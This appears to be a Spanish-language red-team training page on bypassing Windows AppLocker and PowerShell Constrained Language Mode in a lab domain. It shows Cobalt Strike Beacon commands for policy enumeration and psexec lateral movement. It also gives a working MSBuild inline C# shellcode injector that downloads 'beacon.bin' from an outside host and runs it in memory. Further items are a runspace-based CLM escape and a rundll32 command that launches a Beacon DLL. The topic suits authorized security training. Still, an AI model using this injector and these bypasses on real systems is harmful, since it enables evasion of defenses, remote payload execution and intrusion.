Saltar a contenido

Application Whitelisting

AppLocker

AppLocker es una tecnología de whitelisting de aplicaciones incorporada en el sistema operativo Windows. Su propósito es restringir las aplicaciones y scripts que se permiten ejecutar en una máquina, definidos a través de un conjunto de políticas que se implementan mediante GPO. Las reglas pueden basarse en atributos de archivo como editor, nombre, versión, hash o ruta; pueden ser para "permitir" o "denegar"; y pueden asignarse a usuarios individuales o grupos.

AppLocker también cambiará el Language Mode de PowerShell de FullLanguage a ConstrainedLanguage. Esto restringe los tipos .NET que pueden utilizarse, evitando el uso de Add-Type con cualquier código arbitrario en C#, así como New-Object en tipos que no estén específicamente permitidos.

Como defensa, AppLocker es tan bueno como el conjunto de reglas definidas. Microsoft proporciona reglas predeterminadas, que son muy amplias y permiten todos los ejecutables y scripts ubicados en los directorios Program Files y Windows.


Policy Enumeration

Info

AppLocker está aplicado a dc.dev-studio.com.

La política puede leerse desde dos lugares: directamente desde el GPO o desde el registro local de una máquina donde se aplican. Leer desde el GPO es el mismo proceso que con LAPS: encontrar el GPO, descargar el archivo Registry.pol desde gpcfilesyspath y analizarlo con Parse-PolFile.

beacon> powershell Get-DomainGPO -Domain dev-studio.com | ? { $_.DisplayName -like "*AppLocker*" } | select displayname, gpcfilesyspath

displayname gpcfilesyspath                                                                        
----------- --------------                                                                        
AppLocker   \\dev-studio.com\SysVol\dev-studio.com\Policies\{7E1E1636-1A59-4C35-895B-3AEB1CA8CFC2}

beacon> download \\dev-studio.com\SysVol\dev-studio.com\Policies\{7E1E1636-1A59-4C35-895B-3AEB1CA8CFC2}\Machine\Registry.pol
[*] started download of \\dev-studio.com\SysVol\dev-studio.com\Policies\{7E1E1636-1A59-4C35-895B-3AEB1CA8CFC2}\Machine\Registry.pol (7616 bytes)
[*] download of Registry.pol is complete

Aquí hay un ejemplo de una de las reglas ejecutables, contenida en el campo ValueData.

KeyName     : Software\Policies\Microsoft\Windows\SrpV2\Exe\a61c8b2c-a319-4cd0-9690-d2177cad7b51
ValueName   : Value
ValueType   : REG_SZ
ValueLength : 700
ValueData   : <FilePathRule Id="a61c8b2c-a319-4cd0-9690-d2177cad7b51" Name="(Default Rule) All files located in the
              Windows folder" Description="Allows members of the Everyone group to run applications that are located
              in the Windows folder." UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition
              Path="%WINDIR%\*"/></Conditions></FilePathRule>

Son bastante autoexplicativas: esta regla permitirá a todos ejecutar ejecutables ubicados dentro del directorio de Windows. Si estás en una máquina local, puedes consultar el registro en HKLM:Software\Policies\Microsoft\Windows\SrpV2 para obtener lo mismo.

PS C:\Users\Administrator> Get-ChildItem "HKLM:Software\Policies\Microsoft\Windows\SrpV2"

    Hive: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2

Name                           Property
----                           --------
Appx                           EnforcementMode : 1
                               AllowWindows    : 0
Dll                            AllowWindows : 0
Exe                            EnforcementMode : 1
                               AllowWindows    : 0
Msi                            EnforcementMode : 1
                               AllowWindows    : 0
Script                         EnforcementMode : 1
                               AllowWindows    : 0

Info

Ten en cuenta que las reglas de DLL no se aplican. Esto es común porque Microsoft indica que puede afectar el rendimiento del sistema.

PS C:\Users\Administrator> Get-ChildItem "HKLM:Software\Policies\Microsoft\Windows\SrpV2\Exe"

    Hive: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe

Name                           Property
----                           --------
921cc481-6e17-4653-8f75-050b80 Value : <FilePathRule Id="921cc481-6e17-4653-8f75-050b80acca20" Name="(Default Rule) All files located in the Program Files folder" Description="Allows
acca20                         members of the Everyone group to
                                       run applications that are located in the Program Files folder." UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition
                                       Path="%PROGRAMFILES%\*"/></Conditions></FilePathRule>
a61c8b2c-a319-4cd0-9690-d2177c Value : <FilePathRule Id="a61c8b2c-a319-4cd0-9690-d2177cad7b51" Name="(Default Rule) All files located in the Windows folder" Description="Allows members
ad7b51                         of the Everyone group to run
                                       applications that are located in the Windows folder." UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition
                               Path="%WINDIR%\*"/></Conditions></FilePathRule>

El cmdlet Get-ChildItem está permitido bajo CLM.

PS C:\Users\Administrator> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage

Writeable Paths

Las reglas predeterminadas permiten la ejecución desde cualquier lugar dentro de C:\Program Files y C:\Windows (incluyendo subdirectorios). Moverse lateralmente a una máquina protegida mediante psexec es trivial, porque el ejecutable del servicio se escribe en C:\Windows.

beacon> jump psexec64 dc.dev-studio.com smb
Started service b8f5313 on dc.dev-studio.com
[+] established link to child beacon: 10.10.150.10

Si estás en una máquina protegida como usuario estándar, hay varios directorios dentro de C:\Windows que son escribibles. Un ejemplo es C:\Windows\Tasks. Esto nos permitiría copiar un ejecutable en este directorio y ejecutarlo.

beacon> powershell Get-Acl C:\Windows\Tasks | fl

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Windows\Tasks
Owner  : NT AUTHORITY\SYSTEM
Group  : NT AUTHORITY\SYSTEM
Access : CREATOR OWNER Allow  268435456
         NT AUTHORITY\Authenticated Users Allow  CreateFiles, ReadAndExecute, Synchronize    <---
         NT AUTHORITY\SYSTEM Allow  268435456
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  268435456
         BUILTIN\Administrators Allow  FullControl
Audit  : 
Sddl   : O:SYG:SYD:PAI(A;OICIIO;GA;;;CO)(A;;0x1200ab;;;AU)(A;OICIIO;GA;;;SY)(A;;FA;;;SY)(A;OICIIO;GA;;;BA)(A;;FA;;;BA)

Al enumerar las reglas, también puedes encontrar reglas débiles adicionales que los administradores del sistema hayan agregado. Este es un ejemplo de una regla que realmente he visto en producción:

<FilePathCondition Path="*\AppV\*"/>

Living Off The Land Binaries, Scripts and Libraries

Conocidos coloquialmente como LOLBAS, estos son ejecutables y scripts que vienen como parte de Windows pero permiten la ejecución de código arbitrario. Nos permiten eludir AppLocker, porque se les permite ejecutarse bajo los criterios de permiso normales: existen en rutas confiables (C:\Windows y C:\Program Files) y también pueden estar firmados digitalmente por Microsoft.

El sitio web LOLBAS contiene cientos de ejemplos que pueden utilizarse. Usemos MSBuild como demo: si no está bloqueado, puede utilizarse para ejecutar código arbitrario en C# desde un archivo .csproj o .xml.

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="MSBuild">
   <MSBuildTest/>
  </Target>
   <UsingTask
    TaskName="MSBuildTest"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
     <Task>
      <Code Type="Class" Language="cs">
        <![CDATA[

            using System;
            using Microsoft.Build.Framework;
            using Microsoft.Build.Utilities;

            public class MSBuildTest : Task, ITask
            {
                public override bool Execute()
                {
                    Console.WriteLine("Hello World");
                    return true;
                }
            }

        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

Esto podría convertirse en un inyector básico de shellcode.

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="MSBuild">
   <MSBuildTest/>
  </Target>
   <UsingTask
    TaskName="MSBuildTest"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
     <Task>
      <Code Type="Class" Language="cs">
        <![CDATA[

            using System;
            using System.Net;
            using System.Runtime.InteropServices;
            using Microsoft.Build.Framework;
            using Microsoft.Build.Utilities;

            public class MSBuildTest :  Task, ITask
            {
                public override bool Execute()
                {
                    byte[] shellcode;
                    using (var client = new WebClient())
                    {
                        client.BaseAddress = "http://nickelviper.com";
                        shellcode = client.DownloadData("beacon.bin");
                    }

                    var hKernel = LoadLibrary("kernel32.dll");
                    var hVa = GetProcAddress(hKernel, "VirtualAlloc");
                    var hCt = GetProcAddress(hKernel, "CreateThread");

                    var va = Marshal.GetDelegateForFunctionPointer<AllocateVirtualMemory>(hVa);
                    var ct = Marshal.GetDelegateForFunctionPointer<CreateThread>(hCt);

                    var hMemory = va(IntPtr.Zero, (uint)shellcode.Length, 0x00001000 | 0x00002000, 0x40);
                    Marshal.Copy(shellcode, 0, hMemory, shellcode.Length);

                    var t = ct(IntPtr.Zero, 0, hMemory, IntPtr.Zero, 0, IntPtr.Zero);
                    WaitForSingleObject(t, 0xFFFFFFFF);

                    return true;
                }

            [DllImport("kernel32", CharSet = CharSet.Ansi)]
            private static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);

            [DllImport("kernel32", CharSet = CharSet.Ansi)]
            private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

            [DllImport("kernel32")]
            private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

            [UnmanagedFunctionPointer(CallingConvention.StdCall)]
            private delegate IntPtr AllocateVirtualMemory(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

            [UnmanagedFunctionPointer(CallingConvention.StdCall)]
            private delegate IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

            }

        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

Info

Puedes usar http_x64.xprocess.bin aquí y alojarlo en el Cobalt Strike Team Server mediante Site Management > Host File.


PowerShell CLM

Si intentas ejecutar un script o comando en PowerShell y ves un error como "only core types in this language mode", entonces sabes que estás operando en un entorno restringido. Si puedes encontrar un bypass de AppLocker para ejecutar código arbitrario, también puedes salir del Constrained Language Mode de PowerShell usando un runspace de PowerShell no administrado. Si tienes un Beacon ejecutándose en un objetivo, esto es exactamente lo que hace powerpick.

beacon> powershell $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage

beacon> powerpick $ExecutionContext.SessionState.LanguageMode
FullLanguage

Esto también puede hacerse en C# (usando MSBuild como ejemplo nuevamente).

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="MSBuild">
   <MSBuildTest/>
  </Target>
   <UsingTask
    TaskName="MSBuildTest"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
     <Task>
     <Reference Include="System.Management.Automation" />
      <Code Type="Class" Language="cs">
        <![CDATA[

            using System;
            using System.Linq;
            using System.Management.Automation;
            using System.Management.Automation.Runspaces;

            using Microsoft.Build.Framework;
            using Microsoft.Build.Utilities;

            public class MSBuildTest :  Task, ITask
            {
                public override bool Execute()
                {
                    using (var runspace = RunspaceFactory.CreateRunspace())
                    {
                      runspace.Open();

                      using (var posh = PowerShell.Create())
                      {
                        posh.Runspace = runspace;
                        posh.AddScript("$ExecutionContext.SessionState.LanguageMode");

                        var results = posh.Invoke();
                        var output = string.Join(Environment.NewLine, results.Select(r => r.ToString()).ToArray());

                        Console.WriteLine(output);
                      }
                    }

                return true;
              }
            }

        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>


Beacon DLL

Como se mencionó anteriormente, la aplicación de DLL no suele estar habilitada, lo que nos permite llamar a funciones exportadas desde DLL en disco mediante rundll32. La carga útil DLL de Beacon expone varias exportaciones, incluidas DllMain y StartW. Estas pueden modificarse en el Artifact Kit bajo src-main, dllmain.def.

C:\Windows\System32\rundll32.exe http_x64.dll,StartW